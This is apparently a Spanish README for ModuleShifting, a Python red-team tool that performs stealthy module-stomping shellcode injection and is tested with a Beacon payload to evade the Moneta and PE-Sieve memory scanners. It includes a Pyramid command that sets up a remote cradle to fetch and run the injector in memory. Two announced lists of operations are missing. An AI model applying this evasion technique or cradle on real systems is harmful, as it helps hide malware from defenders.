
Variación más sigilosa de las técnicas de inyección Module Stomping y Module Overloading que reduce los IoCs de memoria. Implementado en Python ctypes
Esta herramienta se presentó en la charla x33fcon 2023: "Mejorando la sigilosidad de las técnicas de inyección de memoria" [Video] [Blogpost]
ModuleShifting es una variación más sigilosa de las técnicas de inyección Module Stomping y Module Overloading. Está implementado en Python ctypes para que pueda ejecutarse completamente en memoria a través de un intérprete de Python y Pyramid, evitando así el uso de cargadores compilados.
La técnica se puede utilizar con payloads PE o shellcode, sin embargo, la variación más sigilosa debe usarse con payloads shellcode que necesitan ser funcionalmente independientes del payload final que el shellcode está cargando.
ModuleShifting, cuando se usa con un payload shellcode, realiza las siguientes operaciones:

Cuando se utiliza un payload PE, ModuleShifting realizará las siguientes operaciones:
ModuleShifting se puede usar para inyectar un payload sin asignar memoria dinámicamente (es decir, VirtualAlloc) y en comparación con Module Stomping y Module Overloading es más sigiloso porque reduce la cantidad de IoCs generados por la propia técnica de inyección.
Hay 3 diferencias principales entre Module Shifting y algunas implementaciones públicas de Module Stomping (una de Bobby Cooke y WithSecure)
Las diferencias entre Module Shifting y Module Overloading son las siguientes:
Usando un payload shellcode funcionalmente independiente, como un payload shellcode AceLdr Beacon Stageless, ModuleShifting es capaz de inyectar localmente sin asignar memoria dinámicamente y, por el momento, generando cero IoC en un escaneo de Moneta y PE-Sieve. Soy consciente de que los payloads durmientes de AceLdr pueden ser detectados con otras grandes herramientas como Hunt-Sleeping-Beacon, pero el enfoque aquí está en la técnica de inyección en sí misma, no en el payload. En nuestro caso, lo que permite mayor sigilosidad en la inyección es la independencia funcional del shellcode, de modo que los bytes maliciosos escritos pueden restaurarse a su contenido original, borrando efectivamente los rastros de la inyección.
Toda la información y el contenido se proporcionan únicamente con fines educativos. Siga las instrucciones bajo su propio riesgo. Ni el autor ni su empleador son responsables de cualquier daño o pérdida directa o consecuente que surja de cualquier persona u organización.
Este trabajo ha sido posible gracias al conocimiento y las herramientas compartidas por personas increíbles como Aleksandra Doniec @hasherezade, Forest Orr y Kyle Avery. Utilicé intensamente Moneta, PeSieve, PE-Bear y AceLdr a lo largo de todo mi proceso de aprendizaje y han sido clave para mi comprensión de este tema.
ModuleShifting se puede usar con Pyramid y un intérprete de Python para ejecutar la inyección local de procesos completamente en memoria, evitando cargadores compilados.
git clone https://github.com/naksyn/Pyramid
python3 pyramid.py -u testuser -pass testpass -p 443 -enc chacha20 -passenc superpass -generate -server 192.168.1.2 -setcradle moduleshifting.pyhttps://github.com/naksyn/ModuleShifting/assets/59816245/67fcf888-3385-47da-b828-8a2dafeeb1e2
Para ejecutar con éxito esta técnica, debe usar un payload shellcode que sea capaz de cargar un payload adicional autosostenible en otra área de memoria. ModuleShifting se ha probado con el payload AceLdr, que es capaz de cargar una copia completa de Beacon en el heap, rompiendo así la dependencia funcional con el shellcode inicial. Esta técnica funcionaría con cualquier payload shellcode que tenga capacidades similares. Por lo tanto, el shellcode inicial se vuelve inútil una vez ejecutado y no hay razón para mantenerlo en memoria como un IoC.
También se debe elegir una DLL anfitriona con suficiente espacio para el shellcode en la sección objetivo; de lo contrario, la técnica fallará.